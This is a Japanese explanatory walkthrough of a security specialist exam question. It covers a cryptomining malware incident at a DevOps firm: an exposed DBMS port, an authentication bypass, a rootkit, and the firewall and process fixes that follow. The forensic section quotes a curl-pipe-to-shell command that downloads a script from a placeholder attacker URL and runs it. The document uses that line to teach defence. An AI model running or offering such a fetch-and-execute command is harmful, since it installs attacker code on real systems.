情報処理安全確保支援士試験 令和元年秋午後２問１の問題解説

問題文の詳説（R元・秋 午後Ⅱ 問1）

この問題は、WebアプリをDevOps体制で継続開発・運用している企業において、構成管理の甘さを突かれてマルウェア感染が起きた事例を素材に、インシデントの読み解き・原因特定・妥当な対策・開発運用プロセスの改善までを一連で考えさせる構成です。実務的な観点（脆弱なポート開放、FWルール、権限、ログ、検証環境、変更管理、コンテナ活用）を横断して問うのが狙いです。
また、公式の出題趣旨は「DevOpsを実践する企業におけるセキュリティインシデント対応と対策力」を測ることにあります。営業要件だけでなく、DevOps特有のリスク認知と対処まで含めて能力を見る、と明言されています。

---

1. 背景：S社・Sシステムと開発体制

• 事業・規模：インターネット広告の販売と効果測定サービス。従業員120名、会員は2,000社超。主力Webアプリ「アプリQ」で効果測定を提供。約3週間ごとに継続リリース。

• 開発・運用：5名の開発チームがDevOpsで一体運用。

  • サービスH（ソフトウェア開発プラットフォーム）でソースなどのバージョン管理。

  • サービスG（テキスト共有）で情報共有：アップロード後URL共有、期限切れ自動削除の仕組みあり。

• セキュリティの既往：脆弱性診断は年1回程度と不定期。直近でSQLインジェクションが見つかり改修。さらにOS・ライブラリ・ミドルウェア（実行環境）を更新していない問題を抱える。ここが後段の「運用プロセス改善」や「パッチ適用フロー」に繋がる伏線です。

2. システム構成（図1）とFWルール（表1）

• 稼働場所：W社データセンタのサーバA上でアプリQ。サービスC（DBMSサービス）と連携。サーバAはS社の占有。S社オフィスには開発用LAN（PC群）。

• 監視：サーバA上に遠隔監視ツールをコンテナ技術で導入。ここが後で「コンテナの正の活用（隔離・複製・構成コード化）」につながる導入伏線。

• 暫定導入の新要素：9月から新アプリDとDBMS-RをサーバAで試験運用。S社開発用LANのPCからDB参照・更新に加え、DBMS-Rの“遠隔コマンド実行機能”を使うためにポート6379/tcpを急きょ開放。これが今回の決定的な弱点。

• **表1（初期FWルール）**の要点：

  • 80/443/6379/22への外部からの着信を全面許可（宛先はサーバAのグローバルIP）。

  • サーバAから外への発信（項番5）は全て許可。デフォルトは破棄（項番6）。
    ⇒6379/tcpの世界開放と外向き通信の緩さが、侵入・二次活動・ルートキット/採掘ツールの取得を許す設計上の弱点。

3. インシデントの発生と初期観測

• 兆候：データセンタ事業者W社から「サーバAがほかのサーバを探索」の通報。サーバAのCPU使用率100%。開発チームはマルウェア感染を疑う。

• 体制：登録セキスペB氏（U社）にフォレンジック支援を依頼。ストレージ解析を提案。

4. フォレンジック結果：マルウェアXの目的・侵入手口・機能（図2）と実際の活動（図3）

4.1 目的

1. 暗号資産の採掘プログラムのダウンロードと実行

2. 他サーバへの侵入（横展開）
   いずれも「金銭化」と「自己拡散」を狙う典型パターン。

4.2 侵入方法（入口）

• 6379/tcpが開いているサーバを探索→発見したらDBMS-Rに

  • 認証バイパス脆弱性の悪用、または

  • パスワード辞書攻撃
    で接続し、遠隔コマンド実行機能を悪用して侵入。
    今回、DBMS-R導入時の開放ポートと認証バイパス脆弱性の組み合わせが致命打。

4.3 マルウェアXの機能（内部活動）

• (ア)採掘プログラムDL＆実行、(イ)DBMS-R横展開、(ウ)FWルール変更、(エ)ルートキットY導入、(オ)痕跡ログ削除。
  権限が高い/制限が緩いほど効果的に働くため、最小権限原則の未徹底が被害拡大要因になる。

4.4 実際の活動（図3より）

• 認証バイパスでDBMS-Rに接続し、遠隔コマンド実行で

  curl -sf https://AAA/attackers-url/xxx.sh | sh -s
  

  を実行しcron設定を書換（継続実行を仕掛ける）。

• iptablesでINPUT 6379/tcp DROPをルール先頭へ挿入（痕跡隠蔽・後続の競合排除）。

• rmでログを削除し、ルートキットYと採掘ツールをcurlでDLして実行。

• さらに他サーバの6379/tcpへ侵入試行（横展開）。
  この一連が外向き80/443許可とcurl利用で成立している点に注目。

5. ルートキットYの挙動（図4）

• Linuxのプロセス監視コマンドaが内部で用いるB関数（/proc などへのアクセス）をフック/書換し、採掘プロセスを不可視化。

• つまり**“見えなくする”隠蔽型で、運用監視の信頼を落とす。このためホスト整合性監視や検証用の独立した監視**が必要になる。

6. 漏えいの有無と根拠

• DB会員情報の漏えいなしと結論。
  遠隔コマンド実行の不審操作はXのみ、SSH接続も社内PCのみ、DBへの外部送信は採掘結果のみという観測からの評価。**“何が出て行ったか”**を確認軸に据えた点が重要。

---

7. 再発防止：サーバA対策案（表2）と具体化（表3）

• 対策案（表2）：

  1. 想定IP以外からのアクセス禁止（到達元制限）

  2. デフォルト以外のポートへの変更（セキュリティ強度は限定的）

  3. サーバAから外部へのアクセス禁止（少なくともHTTP/HTTPSは遮断）

  4. アプリ/ミドルウェアを最小権限で稼働（被害限定・横展開阻止）

• 実装の要点（表3）：

  • “う”（S社側グローバルIP）からの“あ/い（所定ポート）”のみ許可、その他は破棄。

  • 外向き通信は全面的に遮断（ステートフル考慮）。

  • ポート6379は既定のままでも、到達元を限定すれば十分という判断（ポート変更は補助的）。
    これで入口（到達元制限）と出口（外向き遮断）の両面からcurl入手・横展開・C2通信などの術を塞ぐ設計へ。

---

8. 開発運用プロセスの見直し（図5・図6）

• 設計プロセス：抜け漏れ防止に**標準（ベストプラクティス）**を参照。

• 実装プロセス：CERTコーディングスタンダードを採用しセキュアコーディング＆レビューで移植性・保守性向上も狙う。

• 検証プロセス：リリースごとに脆弱性診断を内製化（外注では頻度が落ちるため）。検証環境の整備が前提。

• 運用プロセス：

  • 実行環境の脆弱性情報を収集（だが“必要十分”に絞るため事前の整理が必要）。

  • パッチは検証環境で動作確認→本番適用。

  • システム変更手順（図6）：計画→手順書→承認→作業（記録）→記録に基づく事後確認。
    要は、安易な本番変更（今回は6379開放）が最大の事故要因。変更管理と検証環境が決定打の対策。

---

9. コンテナ技術の“正の活用”

• 論点：これまでは監視ツール導入の容易さで使っていたが、さらに構成管理・変更管理・検証効率化へ拡張可能。

• 利点：

  • 1ホストに複数コンテナでサービス単位に独立運用（停止/更新の影響範囲を局所化）。

  • 同一環境の複製が容易→検証環境の並列用意が楽。

  • “実行環境の構成をコード化”してサービスHでバージョン管理→差分の可視化・レビュー・ロールバックがしやすい。
    DevOps現場で**“本番と同等の検証環境を素早く再現”できるのは重大な価値。今回の事故原因（不急の本番開放）を「設計・実装・検証・変更管理」で抑え込む**基盤になります。

---

10. この問題が問う力（まとめ）

• 技術面：開放ポート／到達元制限、外向き通信の扱い、最小権限、ルートキットの観測影響、ログと証跡、FWルールの適用順序、curlやcron等の常套手段のリスク。

• 運用面：脆弱性情報の収集→選別→検証→本番適用の流れ、検証環境の整備、変更管理（承認・記録・事後確認）。

• 開発面：セキュアコーディング基準とコードレビュー、コンテナで構成をコード化しHで管理。

• DevOpsの肝：スピードと安全性の両立。機能開発偏重によるセキュリティ負債をどう抑えるか。
  これらは公式の出題趣旨とも一致します。実務の“あるある”を材料に、どこを締めると再発確率を最小化できるかを体系立てて答えさせる問題です。